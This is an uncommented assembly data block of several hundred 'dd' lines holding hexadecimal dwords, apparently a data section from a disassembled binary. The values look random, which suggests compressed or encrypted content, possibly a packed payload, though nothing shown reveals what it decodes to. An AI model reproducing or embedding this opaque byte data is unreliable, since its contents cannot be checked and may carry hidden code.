dd 6D9D06B6h, 509C0784h, 35E907C6h, 0AB2CC2EEh, 0E90B48DEh dd 59A83039h, 0C03316E4h, 42B35320h, 7E38012h, 5C05E0Eh dd 0A6BC5BDEh, 34B2E718h, 0D39FD821h, 0D3762768h, 3EF36885h dd 0BB4E83A3h, 0D631C005h, 1692AAA2h, 1DD713Bh, 92D12ECDh dd 242D7450h, 1ED0EC1Ch, 0CF3FCCE1h, 3FB0D116h, 3D6FCB0Ah dd 0C301848Bh, 1455589Ch, 16B40320h, 0BF37FC2Bh, 77A4D510h dd 0B8C4462Eh, 7F0D1109h, 1C4E0694h, 0DDD3FAF8h, 1D9F6AE9h dd 2F27354Ch, 0CA42CC71h, 5FBF00FFh, 374BBB25h, 900106FEh dd 2C3B2485h, 39469764h, 523A32EAh, 0C2953C5Fh, 4D25E9B7h dd 58B52849h, 15FEB9BEh, 90574930h, 5D61CBA5h, 90408EFDh dd 8F1414D9h, 1775A24Dh, 0E73962Eh, 4964EDA3h, 0E98B1888h dd 34204A4Ch, 93F3BAA8h, 0BB64914Ah, 71870589h, 0C8434072h dd 72729A43h, 514E3E14h, 26B0A619h, 0AF68C45Ah, 14DD7D5Ah dd 0EE04FEC1h, 18BB68B0h, 11672E03h, 5160DC6h, 40EE6B11h dd 66501729h, 0C7BF5B1Eh, 0C0ADC9h, 0FF260236h, 0F0A9BC17h dd 1732C625h, 0BF1347E9h, 54200628h, 0EE58D575h, 0EC575BFAh dd 5906DAC8h, 243CC4FEh, 674440C5h, 0C2BC015Fh, 0BE48A613h dd 0F01A32Ah, 7168C8BEh, 17A36603h, 0CF350C60h, 0EF925DEDh dd 7099D292h, 2F8FB9CFh, 0FB2D73D6h, 0BCE91EA7h, 0EBB81EE0h dd 187AFB38h, 0A06D5227h, 0F9A92517h, 0BFEBE201h, 1BE93F22h dd 7521485Ch, 450F5B26h, 57EABA51h, 24083888h, 0BAB4282h dd 0BC39A154h, 370D1EC8h, 1A621B26h, 84750BF5h, 0C0A8FFCDh dd 2CD65D27h, 9B1684B9h, 0EC845A5Fh, 39B80717h, 51139D5Ch dd 0F670A854h, 207C90A9h, 7ABD13D2h, 736C2084h, 6BF06EB2h dd 68A9226Ch, 4B627C02h, 0C301FC35h, 873344E9h, 44A55909h dd 0FC8AAF55h, 0F05CA35Dh, 8959E9C6h, 517A399Dh, 0C95A498h dd 281632BDh, 0ABFC744Bh, 9C53A680h, 554D4524h, 94F7310Bh dd 758AB1FCh, 5A815BD8h, 3DFAF5Dh, 0A838AE3Ah, 483D6DF3h dd 55002448h, 2D40CA7Bh, 0DCF942B6h, 550D029h, 9EFA5A07h dd 0B8350401h, 14DAEA81h, 780130C0h, 840E5C2h, 4B136858h dd 101AE35Fh, 0A85FA6ABh, 5BB34AECh, 43DE870Fh, 0F336FF9Ch dd 9532FE08h, 0DF5D2224h, 2318B8A1h, 0C08970C5h, 0A17F4941h dd 0F03C4080h, 9726791Bh, 0E634B109h, 9C97AF1Dh, 7671AE20h dd 0AA74400Fh, 69F55712h, 40C8EA0Bh, 0BBD5548h, 331E10C4h dd 60B516D0h, 22A3F4Bh, 0E9456994h, 41C8ECA3h, 0F72548E8h dd 676071D0h, 1C684261h, 0BE34D776h, 5FF2482h, 326CB458h dd 0F29DBD60h, 0D689AE5h, 5AD129A3h, 0E8303106h, 6C60D76Eh dd 0F91C2F0Ch, 2521FE4Ch, 35C959C8h, 0B8935472h, 0DE21D21Ch dd 4F7654FEh, 0F112E503h, 9210314Eh, 5B3B509Dh, 718DF313h dd 4C80116h, 978F488Ch, 0E469CED9h, 0DF6FBD12h, 810CE90Ah dd 13FD5997h, 4BB2E9E3h, 87E4B855h, 0C7E69F3Ch, 735970E9h dd 4EE6E926h, 624D2C38h, 136C3A05h, 0EEE10AC0h, 57C9257Ch dd 1A33F08h, 43A6120Dh, 28FEE9E9h, 0BF5780F7h, 1AF46ACAh dd 0BCEB864h, 0C839A95Fh, 33E959C2h, 0E59326CBh, 0F554EFBAh dd 0BB205828h, 138983Bh, 0C494297h, 0C458202Dh, 0F52CE96Ch dd 5D6511F6h, 29B864AEh, 685C309Eh, 1805D44Bh, 63F0DDE9h dd 85A09B8h, 0DD841D72h, 0EED102A5h, 2285F746h, 0AFB35226h dd 3868E42Ch, 0FE4F5D1Bh, 0A0003339h, 168E6608h, 0FCC18332h dd 63E50245h, 404A69E1h, 2D48D655h, 62E40AC2h, 3080E917h dd 0A600B789h, 5E6C138Ah, 48D5E970h, 0F22E20F4h, 58ABFD5h dd 88CD81B0h, 827AD24Fh, 987734FEh, 0EC895D5Ah, 29938557h dd 0AD4F3CE9h, 0EF81E516h, 313ED177h, 73470307h, 52884BF7h dd 5449CB3h, 825DEF31h, 3E528796h, 10D7616h, 0E32A2CD9h dd 60BE89B6h, 72C7B7F7h, 128074FEh, 5FD2838h, 0D93D1BAAh dd 0E5D4E49Dh, 0DE883AC7h, 7C4F2272h, 3AF789D9h, 7569C1DCh dd 0A5F579C2h, 0C8F86627h dd 199673Ah, 5EE10DEh, 0ACAE98BBh, 0C4ACF65Eh, 4FB7BAA6h dd 2B68848Ah, 6962EA09h, 0BDE68052h, 30335962h, 310BB9BAh dd 2D005FFAh, 4F90189Ah, 9752D1E9h, 42C2903Ah, 0DB38B174h dd 0EEB4C9E9h, 0E4FD2D52h, 0A7BC1884h, 5D9540B4h, 0EA19B563h dd 47E7815Ah, 123D2530h, 940FEF4Bh, 0C812C750h, 29B95727h dd 29687001h, 6212F9BDh, 0C5DD565Dh, 6DE961EBh, 68CE508Eh dd 81E970B8h, 538BB6BDh, 0F942E3B7h, 0C25E0436h, 58012CB8h dd 0C02FCD01h, 2B985037h, 0C30918BCh, 0B1B2DF0Ch, 48BA45D7h dd 5F540BA2h, 0F14BBCF1h, 0AD688573h, 418BAA6Ah, 5F005725h dd 7C974268h, 7EC5E68h, 88945F13h, 9AEBB3C4h, 0ED3F2C2Fh dd 5BD64898h, 6F5E2432h, 0EB70333h, 0C0B356Dh, 55C64BF1h dd 3FEBE30Ah, 783EA6DAh, 8D759707h, 3CC4E923h, 1799FC12h dd 0C99009BCh, 0BD751B9Bh, 0DCB18C60h, 2DF5F2Ch, 660B1F10h dd 0DF86805Bh, 0F1EC46C0h, 39E0C2F3h, 5A26F788h, 7F0C47F6h dd 4C5052EDh, 0CF01D857h, 893E6109h, 0B75E70C7h, 25E92140h dd 0FF74FAB0h, 0A7A251EBh, 485D84C2h, 25D20DBEh, 3BE22093h dd 64011BF2h, 0E970FE54h, 0A27F25E5h, 0B459786Ah, 0F2291E1Ah dd 0CB685100h, 5E17B92Fh, 6CEBE059h, 0A952C8BFh, 0DEC58854h dd 0CBF80AD6h, 58E833F1h, 0F49D565Ah, 3A5C59D4h, 21287BA6h dd 2E104523h, 0B32A7D39h, 9D022241h, 0F405AFE0h, 28EE8EA9h dd 0F4D1D276h, 0F905F125h, 12C25876h, 0BF548071h, 0A2160740h dd 42C292ECh, 0DED4680Eh, 5151BF5Bh, 0F2A5E9C1h, 99C717Eh dd 0F1603BD9h, 5E35C6E9h, 6F8FA189h, 3D1499B0h, 5FF1C2Dh dd 336431EDh, 5B46B765h, 0C8E8C521h, 0A29CFC8h, 2CABE9EAh dd 0BEB816DEh, 13149966h, 0C879DA68h, 0BE1D66F1h, 7027591Ch dd 0FE09033h, 502C61F6h, 4B28B8C3h, 75720DF0h, 5E824C6h dd 0C7F4B010h, 0C3172408h, 4C4A7C35h, 6A9021EFh, 4C1B3761h dd 0A2605E3h, 0C0AE3F98h, 0CB0C53F9h, 41AE064Eh, 467984EBh dd 0E20C8355h, 0F39920C0h, 0CAEEF5F8h, 822B3B37h, 56E9125Bh dd 59676A82h, 0FB018754h, 525B1203h, 0FE90BD5Ah, 0A5A2092Dh dd 92403011h, 0A63A055Eh, 2996140Eh, 0AC10FEC1h, 0B32D02F2h dd 0C31DF926h, 74DF1132h, 33F22C03h, 4EAF0814h, 995738EEh dd 0A57F5D58h, 3CAB5553h, 2C87E945h, 0B5824213h, 5928A6E6h dd 0C2BDFB56h, 0AFC77D74h, 59827EAFh, 20147564h, 690F7460h dd 844210C1h, 0EE91D49Bh, 0BE6327CDh, 56F5B801h, 3C403FBDh dd 841801CCh, 0D0F79115h, 605950E4h, 2824BE58h, 0CC12261h dd 6052786h, 97D0FA47h, 98BA2934h, 3C645907h, 1AD8EC4Eh dd 7F111D46h, 30BEC40h, 574E919Dh, 0BEA927E4h, 29CE8894h dd 3E93B81Fh, 0DCC38C12h, 9F18EE2Bh, 0DDA53CD9h, 1C9EDA83h dd 8FB26350h, 444C7416h, 2D0AC4B0h, 6F5C5217h, 2AFB8B8Ch dd 3B640F05h, 0AF457A29h, 3764B4F4h, 45CD260Bh, 0C3107D5Fh dd 992C7140h, 9502196Ah, 0C01E8075h, 80E5E7F8h, 3B13822Dh dd 7A01119Fh, 509C0DB6h, 3C3B820h, 95C3E45h, 0FEEAE9F0h dd 0C1314F5h, 0EF93F7Fh, 8670C47Eh, 83A8B95Eh, 123DE982h dd 5B5EABE8h, 4C4D69E3h, 4FD8005Ch, 0E905E6C1h, 0FA065187h dd 9418A2Fh, 0FA4C2F68h, 84ED65DFh, 99B6055Dh, 95CBBE63h dd 0A859D815h, 0BCE83113h, 6E5B0778h, 0A6F27BB0h, 0A2EEFDF7h dd 1CE0789Fh, 457760EFh, 407261E9h, 4997E5AAh, 0CC11EAFh dd 28013E93h, 30C98030h, 0C5AC7573h, 9C068EB6h, 0D7CE996h dd 0BC5C9DC8h, 0ED325B79h, 2980DC16h, 7FD16E0Fh, 0FB140223h dd 6BADCF75h, 1F01C44Ch, 0E927A431h, 312A2C07h, 0FFEC56F6h dd 80F1069Dh, 0E72845EFh, 3F5F38E9h, 0B61020B6h, 56582FE4h dd 1A7552BAh, 5031DD17h, 72B37AF1h, 2038B1D3h, 26949E60h dd 9C0F9A7h, 88B314B3h, 1287E2FDh, 45CC17B8h, 9AEA645Fh dd 78B08746h, 0E4F7502Dh, 3510F4Fh, 94C55556h, 2CEE8838h dd 0D3D24DF0h, 0D9B2CA67h, 51E4FDC7h, 0D89DDDF0h, 0BDE59FF4h dd 6CD6010Bh, 8EF72069h, 5D3ABE04h, 0D3803FBBh, 50346B2Ah dd 13F5FF42h, 0BF0AFD3Eh, 0A7BB1Ch, 25F0BF29h, 0D21748D8h dd 0BE70F135h, 2030F58Dh, 0FA238A66h, 7510759Eh, 5022390h dd 9FDFF330h, 48B99A40h, 0E94871F2h, 8B834A0Bh, 5C6EF802h dd 5F249852h, 97EFB8E6h, 0EDD023E6h, 9963E4Ch, 0B9D1571Bh dd 7E28BD1Ch, 20614325h, 34AD3CE9h, 8DC0B5D8h, 1BC0F34Bh dd 4CE617F7h, 9F62B549h, 0E9639751h, 9E129E96h, 0AE2165FBh dd 5B8C095h, 4453B784h, 0F83440B4h, 85E9C27Ah, 81C7D5C5h dd 880425B4h, 0FB12E790h, 0E413871Eh, 8CB8D457h, 0C02C3250h dd 1F80C6C5h, 0F89F9F44h, 0B584BCEh, 5C0B117Ah, 0D661C93Ah dd 9B133AE0h, 0F2F921E0h, 0B006BAEDh, 3C483E4Fh, 0BDC72196h dd 9B5C75E6h, 0D7F71F5Dh, 292B6859h, 5FB58647h, 3E762C1h dd 29D5DA96h, 0F4E6FCAh, 0F4527D92h, 85DE5073h, 0B09474FBh dd 57B05162h, 0B55C4140h, 0E0FDC2C2h, 8A23116Ch, 982E6075h dd 0EF2E9A0Ah, 4267D96Bh, 9FC02778h, 5C3B41C5h, 54DD87Eh dd 72153B59h, 29F48C2h, 0F063DF21h, 1366129Dh, 6138BB31h dd 0F3E8975Ch, 0F8A81170h, 6C9764DDh, 87364BE0h, 0AB589553h dd 0EAD61DA6h, 0EDCE1361h, 0B988BA05h, 0AE6412F9h, 0FEA1CD1Dh dd 7B0F3D41h, 6FB7C001h, 81E3C780h, 0E5D85BFDh, 50C5F285h dd 7323BE32h, 0ACC0A328h, 1A52CBEBh, 1EDABFAh, 289C50BAh dd 0A92E6B60h, 0F13ADFB4h, 9DE27D2Dh, 57E866D7h, 885216C1h dd 7C05F5E2h, 17F958FEh, 29AFF0C6h, 5A83B79h, 2B859990h dd 0B8CDAB5Eh, 24736760h, 2C685DA6h, 0DA50E56h, 4BC1F7D3h dd 9E05B3DDh, 0D67D4329h, 48112C86h, 5916CDE4h, 0F0A9E368h dd 0AF244E7Dh, 0E2BA6674h, 0E17B1697h, 7F0174FDh, 81253753h dd 0C038E0CDh, 0FAF6F58h, 0A541FC2Ch, 1B2E901h, 0C2CB29C4h dd 0A1CC8CCEh, 44B61C5Fh, 0EAF06816h, 19B2660h, 1784FDAh dd 93B0AD6h, 0EDA93A48h, 1583FE39h, 3297E925h, 0EF883A12h dd 81496608h, 0DB55ADC7h, 2DFC3B2Ah, 4BE90840h, 48ED800Ch dd 200E0C1h, 0ED5F8505h, 1EE72D3Dh, 81514349h, 38112B2Eh dd 26E92801h, 0EBADDC66h, 0A5D8DF3Dh, 4B05C7DEh, 0F38264D7h dd 2FAD76F6h, 0CAEB4E54h, 9A4F6A3h, 8FA76CB1h, 46F227D0h dd 0FF8108D6h, 0E58134DBh, 0C8C0035Ah, 2D4A6F47h, 9960435Fh dd 483878Bh, 970A11Ch, 61EAC064h, 9B04F68Fh, 8CE9DE89h dd 58565D92h, 0AF8095FFh, 416226B5h, 0E9423D9Ch, 3BF2581Ah dd 25A575B6h, 6DFDDE62h, 99E30B75h, 2505B4C9h, 943E4033h dd 0F606A1Eh, 62768B0Ch, 78E2A063h, 64362F39h, 265E9961h dd 72680954h, 0E91D5B49h, 7D087610h, 0E9358105h, 69BD4E71h dd 0CF46EF07h, 0EBEAD077h, 1F4FB7FBh, 5ECBDFFDh, 2F6A3055h dd 0E8114F0Bh, 0D0DF07FFh, 5DD0EEF4h, 0E1EBBDE9h, 9F49A96Bh dd 6736436h, 0F4C0FCF7h, 250E7E29h, 2D01BD28h, 80582FAh dd 21050EECh, 0FF5BFE60h, 0CA737A0Ah, 1EEA6884h, 0E559A7E2h dd 0F94B4F58h, 0F794960Ah, 5912EF00h, 504602h, 986EADB8h dd 48D8F721h, 91532D05h, 81BEDE67h, 17446E4h, 0B77AADFDh dd 9601240Ch, 0DC584509h, 0A8AA6585h, 86BD01E9h, 17C5DF3h dd 0C2C7B23Fh, 71CC92E9h, 81B935A9h, 16B941Fh, 8682C301h dd 51AC3AE7h, 1899B783h dd 0BA522BC0h, 0A0094714h, 0E9D306D0h, 97360312h, 0C01D83E8h dd 0D1957C90h, 0FCE961F1h, 17C776BFh, 0FE9A11DFh, 1293ED5Dh dd 78D4087Dh, 68F08802h, 2C1BDDD4h, 96E6C2D3h, 48939920h dd 0F612FF08h, 577A0AD9h, 4C0F3C2Bh, 0EBE225DBh, 0CF804306h dd 0EF8224Bh, 1668511Ch, 5915BA01h, 6B4CB31h, 5C75827Eh dd 0F863F5F6h, 57C7B257h, 24588787h, 0B6B1E451h, 4BB24349h dd 0E91438FBh, 2C009F4Eh, 6C101CBBh, 76409F35h, 5201EDD1h dd 0B461D568h, 0C86A5A64h, 0F4ECF616h, 0EA09C412h, 0B471DCB6h dd 0C201078Fh, 0AF1D8650h, 0D38A7B0h, 75AA4BABh, 0E06E8455h dd 3D0F6805h, 4413A11Dh, 2F8CD4B4h, 3D70BD55h, 0FCBC2630h dd 5E80E9CDh, 0AD7A419Dh, 42086B3Eh, 50F5D0h, 1DBD9390h dd 801DA64Ch, 63A10A69h, 7F34E953h, 0A0AB9819h, 76267FBh dd 46804AB3h, 4F19FA8Bh, 96BAA946h, 0BBD7CB1Fh, 0E35A36B3h dd 0DC941838h, 8234331Ch, 0B97B9E05h, 0B5F8A5F3h, 0C22FE916h dd 8184ADD2h, 0CC0A1364h, 0A5BE1E1Ch, 477D808Dh, 1229E781h dd 101997Fh, 6E145E00h, 0DCBC2B15h, 2B42E9B1h, 29597A01h dd 37E455C3h, 4FFDBE34h, 687DD709h, 97917DDBh, 0BD333911h dd 0D1289750h, 9FFADD65h, 10414B6Eh, 58236853h, 806EA823h dd 0BB71C86Ch, 610001E4h, 0E3814B0Fh, 4FC2733Eh, 4F3FE807h dd 0CB0247FCh, 3F8059D9h, 0C3122160h, 0C97C22D8h, 320D044Bh dd 0AAA785E9h, 0E34F8534h, 0AE12BD56h, 8B0176BBh, 2BB16851h dd 0E2F5CD99h, 0DA121137h, 5FE1B35Bh, 58D49DB2h, 305F4F01h dd 2E22E902h, 0FD87ED81h, 0E12AEFC9h, 607740FEh, 61741E0h dd 4FECF29h, 0C12A0BFCh, 0E8CE8117h, 364B5D3Bh, 6A0429ACh dd 162945CBh, 41FE99F0h, 9938826Fh, 0D6447105h, 35217F1h dd 0FE45BCC9h, 44FABCh, 37E087E9h, 0A0FE905Dh, 5A110F9Dh dd 3289B0AEh, 0B3847EAAh, 4005E808h, 62414E9Bh, 0FC3A1371h dd 0CF80A072h, 0E8EFE6AEh, 0C8FBE7C0h, 35E917C7h, 0B43CEEA3h dd 98983129h, 0F9F863BDh, 0CC3AF288h, 0D649D7D6h, 51D1122Dh dd 0A3D6BF9h, 7A5EF6DAh, 4EDE3349h, 5A7999E8h, 0C337A414h dd 25748D4Ch, 4408D548h, 0C80C3408h, 0C8BF5F2Eh, 0B7DC1776h dd 0D95BF066h, 23FE4E85h, 230906BDh, 0DB0BE468h, 4F7E3DDFh dd 82D9F905h, 80654915h, 90B7ADDh, 0E6C12F51h, 0EE05B272h dd 0BFE191FBh, 0B93B88F1h, 595A8939h, 1A98084Fh, 810D56Bh dd 0BD866269h, 0A0E08251h, 0A07D147Ah, 80AB96E2h, 0BE780458h dd 999BD32Ah, 1E678058h, 0AEC9CC28h, 30E0E635h, 510978Ah dd 0D8241E7Dh, 2D143F67h, 0E25F2F07h, 145DD92h, 511029Ah dd 9029CFh, 1ACD2A22h, 18C1595Fh, 201B8140h, 287FF92Ch dd 0FB33D809h, 1F0FACE7h, 2B063AEDh, 9379F8E9h, 86246007h dd 0DCB35E0Fh, 66623709h, 0BA2C947Fh, 1E054400h, 144BDE4Fh dd 72DF001h, 0CF84E909h, 5DEE4D5Ah, 5CA56A9Ch, 42D5C281h dd 16676B90h, 0F733780Bh, 60210BD0h, 9F464E14h, 0C8EEA0E1h dd 0C65B6043h, 0CB2D3180h, 65AE1C70h, 8C355D48h, 4DCAE634h dd 54012727h, 27D5286h, 0D534874Bh, 4095DB14h, 4376464h dd 7AE9419Fh, 105B2EBh, 9519ED81h, 0E271D399h, 63B7B928h dd 8CE83DF7h, 0B025E903h, 3101E98Dh, 0AFAF126Bh, 47F072CDh dd 8F2B116h, 0B30E9FFAh, 19EA2F80h, 0C220AE06h, 5C254033h dd 0A5B7555Fh, 39A4E44Ah, 0E4F5E3CEh, 0DD4FA93h, 0BB0812BAh dd 552E0360h, 0C02AED16h, 760D2096h, 636AD96h, 53F107ECh dd 6F7BFD0Fh, 7AF7CAA0h, 0B80950F6h, 3602C69h, 4FFDF80Ch dd 7D81B764h, 9DE49B2Ah, 4007E819h, 0A7300808h, 0A7AF618Dh dd 24BDE9F0h, 16B55C2Dh, 59E1C991h, 2ED2BE5Dh, 6928E56Ah dd 84FF7h, 0E5D4BFE9h, 202A68CAh, 3D9C3956h, 6EA103C9h dd 0BBA0021Bh, 7DF26543h, 10448160h, 30801C4Bh, 60B2568Ah dd 53C00C0Eh, 0E09F6BDBh, 281FD686h, 2A0FC9Ch, 47225648h dd 0FDC1D901h, 75511250h, 0CEF38393h, 774F741Ch, 0FBF75E38h dd 0E9C52C96h, 0EE84E14Fh, 3CBB3DFFh, 96B5106Ch, 0BC28012h dd 21416C73h, 347FF968h, 55F9442Ah, 0FD4DB5D3h, 62CF36EAh dd 716BEE4Ah, 3D0C0FC1h, 8384220Fh, 931E9BAh, 84163FC3h dd 500B4AFCh, 93E40510h, 69485782h, 2EE20C23h, 0E16CAECh dd 1AF185Ah, 8729927Ch, 34780040h, 851E4E95h, 0F84EE17h dd 2817B3AAh, 799D5921h, 54B30213h, 11F56AF9h, 8F288BC7h dd 0A921E897h, 0E9C4D738h, 0ABD39464h, 417E158Eh, 823440D8h dd 16767E42h, 4CE1C905h, 950021F8h, 0B1FF112Ch, 2D07BF89h dd 0A3642905h, 403F6804h, 0EE3D06h, 47B84C2h, 74EDC14Eh dd 40185B6Eh, 0D2647DC9h, 7BEB2E3Ch, 40D0AF74h, 0CDFB5174h dd 15DE458h, 2065D848h, 0FD6A22Ch, 0A95A67ABh, 133209F6h dd 0A30695E9h, 0E8B34B04h, 6D3CABD7h, 87F9C523h, 101BA8DAh dd 0C4602AE4h, 7EE24132h, 0C9004759h, 0AF5576A3h, 0A117F02h dd 44325355h, 0C5EDA351h, 0A7E6C34Ch, 1252532h, 0C708DD84h dd 907AA15Eh, 0C0003E1Ah, 75E9580Ch, 3F66BD49h, 4222652Ah dd 0D9AC5D5Fh, 4451AB12h, 0BED7AE8Eh, 0FF496C9h, 0F55AAE0Ch dd 0A19BA93Bh, 8D6B3916h, 550B6B4Ah, 0B9B7F836h, 3E4C6BFAh dd 0E459B62Fh, 0A85B954Eh, 24263808h, 0BD370934h, 0DDC445D4h dd 17EF79D5h, 0ED6CA128h, 14B2C3Ch, 0C0FECC80h, 0DC7805E4h dd 0FC289D0Eh, 0E1885BC2h, 0A0DCC6B2h, 0A7C05A3Bh, 0F1542BAh dd 0D2F75409h, 16F8148Bh, 0B16EC19Dh, 3C7BFB35h, 0DAB7FEE7h dd 0A1FF5AEEh, 3CA93B85h, 6FD700B5h, 29246260h, 0C72768ECh dd 841A5928h, 0BA011419h, 0B842B82Dh, 7729B246h, 54028527h dd 0E09187D9h, 0E9526EE3h, 277D2E4Dh, 808E8158h, 0C80FFC5h dd 0E9D58607h, 0E59D913Ah, 12163E25h, 0CBEEB8EAh, 5A65FC14h dd 0D552405Eh, 530B2CD9h, 58ECDC54h, 97860D5Fh, 29C01998h dd 0D7EE8FCFh, 0E9B037FCh, 3691FD1Ah, 2BC032h, 6C86E181h dd 0EBF3FC4Eh, 18BE90Dh, 7E956899h, 8933AE66h, 325751D4h dd 40412620h, 2F09BD1Ah, 6226FE42h, 0AAAEC39Bh, 1BAF802Ch dd 982DCE18h, 29C1050Fh, 0BB4F7A3Dh, 3CFA8A0h, 42511E6Fh dd 3FC7DFF7h, 0F0C3AC0h, 0E917FD29h, 9B519AF3h, 8F68099Eh dd 5DA91A52h, 308D1B79h, 0C07A2F36h, 631D15E5h, 0CBCA2922h dd 20605911h, 4D13DAC2h, 0DA92097Ah, 0E18CD506h, 619FEA21h dd 0E2F7728Ah, 73A0D5EBh, 58F955C6h, 0F74C89E8h, 0EDBE7F2Ch dd 0AD07B596h, 6C9D118h, 5C1AC94Eh, 520E8FC0h, 527F95B6h dd 0BDC5C453h, 68508429h, 0B1C06525h, 68AC748Dh, 81A6F577h dd 4004EB80h, 0ED40F582h, 6365308Eh, 0FE4945B6h, 9FD7001h dd 2B176AC6h, 0CFD48C8Eh, 56090609h, 2800F7D6h, 0E929F526h dd 0EC195939h, 0F2805901h, 0C0880460h, 5A2A68D0h, 0B5243F77h dd 43123240h, 0F34B47A6h, 2FA54CF2h, 0B2EFBCCh, 1B8FDB4Fh dd 0AD4584CFh, 0A9D7C734h, 0A19610DCh, 5CEDC7BFh, 73B98210h dd 6523FD69h, 101A7020h, 54BCD0F6h, 0D22924D3h, 97036C55h dd 17513B89h, 0BD6FB49h, 0B857B04Eh, 3D9E434Ah, 0C83C8204h dd 90DE5BADh, 6A71B302h, 9265610h, 30FD2F68h, 2E21414Fh dd 570DA0h, 359C629Ah, 9269F4E9h, 60F30927h, 23864BFh dd 684365ADh, 9AFD1444h, 9D86C0ABh, 40E8983Ah, 0EA95BE66h dd 0FC83649Ah, 0C4B4F7h dd 797E355Ah, 2D016D97h, 5825DE98h, 2B71C201h, 0D83EA725h dd 88414627h, 0B4CC24A7h, 152FEA07h, 0F8E92BB3h, 0E908805Bh dd 0F543D408h, 0D46D4601h, 0BCE7C179h, 4DFD8038h, 0C9E9DBFBh dd 0D9A7A841h, 1159BF5Bh, 96474E62h, 73DCB5E2h, 0BFB9AE70h dd 133D53F3h, 9F46A102h, 4BD7089Dh, 0E7A2922Eh, 4E61661h dd 44E89FBh, 8A84AAA7h, 301A89BEh, 0E85BAF9Ah, 0F84BDEE2h dd 0D3A015EDh, 0B568010Ah, 5A2F6F56h, 0FDA1B06Fh, 4DCE2010h dd 54E1E50h, 0E9D6890Dh, 2B78A8E7h, 7F25AD5Eh, 0E9188C14h dd 8EC70BACh, 0C8DBB57Ah, 0D4CBF142h, 688B51ADh, 2DD54855h dd 0D5368BDCh, 55273B95h, 0E32D6396h, 0D035D6ECh, 385A0368h dd 2D1C12CBh, 6F094044h, 0AB123105h, 50EC324Fh, 54420741h dd 6B61FE45h, 37069B04h, 9E2F7582h, 0BDF6F07Fh, 1A2AB5C6h dd 80319B35h, 5D422544h, 0E4FA8774h, 82ECA111h, 56494E3Fh dd 9857A7FCh, 5B15173h, 28CAB099h, 1EECF3C8h, 0C7897FB7h dd 4097FC58h, 6E3E6D68h, 0B054404Ch, 0BAC59CE9h, 8BE2962Ch dd 9EFDB0ABh, 0A9534AD6h, 0DB4A8698h, 64E74E11h, 513149EFh dd 7E2F0D5Eh, 90320E8Ch, 125C38E9h, 5A527917h, 31DD7DABh dd 0FD2FECDDh, 0ED813D00h, 0E870E3B4h, 0A14FE9h, 2735B95Eh dd 9EB87534h, 0BC33517Dh, 0B1AC1A83h, 0E73FE2B4h, 108447F3h dd 50002109h, 46037DB8h, 0FE970178h, 2D5F9301h, 0FFB93ABFh dd 8986E9C2h, 2C0AB57h, 43154C22h, 891B743h, 27E606Eh dd 6C712649h, 28D76AC1h, 8015547Fh, 0AC99E439h, 0E3161DC4h dd 0C0159509h, 885A7E8Eh, 868294A8h, 3EBB910Fh, 6EACEF30h dd 0CE6884ECh, 0E54DF86Fh, 8E03E8ADh, 0D7E9F588h, 0FAAC194Bh dd 426E3113h, 0CC4E73DCh, 0DC2FC1F4h, 9DF68235h, 0AB6363D0h dd 5A05E1C2h, 5F92B7E2h, 5ED15046h, 8B698481h, 9D505A38h dd 0BD22598Dh, 364BC78Fh, 8F55FA09h, 7D3C29E4h, 2EE84F20h dd 8A27248h, 0E919A252h, 0C163F94Fh, 0BD035FD3h, 0BDFE0109h dd 0CA89F9D3h, 0E9139326h, 0A563F5FCh, 0F196F616h, 39E4B51h dd 0BE6944BAh, 83D1C248h, 5E10EDE0h, 106AFD52h, 0ED40027Bh dd 5EA8A84Ah, 0E4C64A55h, 0E30381C7h, 5D210D0h, 8FCBB843h dd 7C3A3014h, 256CEA0Ch, 273E475Ch, 8C6FD115h, 5AE6ECA4h dd 9FAD524Ah, 88189384h, 5A16404Ch, 36C55EF8h, 0FBD809BFh dd 8B2720F6h, 0A76DC55Dh, 575C7394h, 53D106DCh, 20EA46CFh dd 5B5E175Fh, 0E908BE9Fh, 0D10FB226h, 822F7EE1h, 75F48C54h dd 0FC4F68E6h, 82BA24BFh, 0E6FF7B4Ah, 7E53591h, 0C2058072h dd 58BD524Fh, 4925FA49h, 9A137760h, 82923710h, 0CC6D5CBBh dd 6A02892h, 0E455775Dh, 7271D493h, 594ED4Ah, 0F9C3FE8Eh dd 6A538705h, 0F201FE81h, 8026621h, 9240755Eh, 0A2C01A78h dd 62E05D35h, 9E43FE22h, 61C2DA9h, 0DA5F06FCh, 2CDB3A05h dd 0E3369AFh, 47C700ADh, 6A3F1920h, 0E316B4Ch, 93F496DDh dd 0B6E90478h, 14E1160Fh, 0F99DF47Bh, 515F2FC9h, 5DD90788h dd 63E9E16Ah, 0D177C239h, 50F64B4Bh, 171FEF81h, 0A52A1069h dd 0B1080400h, 74B93F19h, 0FD1EA4B4h, 145094BDh, 8229DFE9h dd 4A0FF581h, 71EBD817h, 54CFE212h, 2D0049AAh, 0E35F2125h dd 92EC5A02h, 0B229E9A8h, 0BB8BBEFEh, 56369A01h, 655EAF4Ah dd 1DF0A908h, 0F1CD8959h, 9E7E6C90h, 0E5373026h, 0B894953Eh dd 6F5750FBh, 3BE77901h, 5511F181h, 638933ECh, 78F044C8h dd 12C76B3Fh, 25042618h, 43EFBC3Bh, 5D1A65CAh, 8079808Dh dd 755A7E11h, 0E917A3A8h, 257B408Fh, 3CA870ABh, 930E353Ah dd 18FC3420h, 0ECD7624Eh, 9C270056h, 5B7ACB5Eh, 0CF1ECAACh dd 0AA41801h, 6855D929h, 0CB5D0843h, 762F9FE9h, 92B1B680h dd 0BEE13980h, 8917C19Dh, 7F09DEC9h, 0E8284B60h, 535C9290h dd 806A1F5Bh, 0C1FE7D87h, 5002F150h, 1FCC7288h, 0C15958E7h dd 0D7F601C7h, 3E417FFEh, 27E93BEFh, 31F9012Bh, 6EB768C3h dd 2DDD0C8Dh, 6466349Bh, 9CFC43Bh, 563A6859h, 5B26015h dd 800ADAF6h, 0D820F0EAh, 0F966520Bh, 0D70C1A5Eh, 14F0F9FEh dd 0B066D216h, 32C0CDFAh, 35E157BFh, 0BD7A0D4h, 7B520D14h dd 448FD29h, 3EBBFC08h, 1320D8EEh, 0C9A81BE9h, 0BF34985Bh dd 77BBCD4Ah, 166FC2C3h, 0ED403E59h, 0B0B1697Eh, 52F50669h dd 0A020D8E9h, 3312BB01h, 0DA316C8Bh, 7A29C03Ah, 7448D232h dd 3CAB0549h, 0F9017872h, 2B375845h, 4C18188Fh, 895F09E9h dd 2A1F65Ch, 7BFE6856h, 1E73985Fh, 0A5F25C0Ah, 1A9F516h dd 0C5E9726Fh, 78ED235Bh, 0AB18E437h, 647B82DBh, 160DFE5Fh dd 65009791h, 0BE69C89Dh, 7301FF09h, 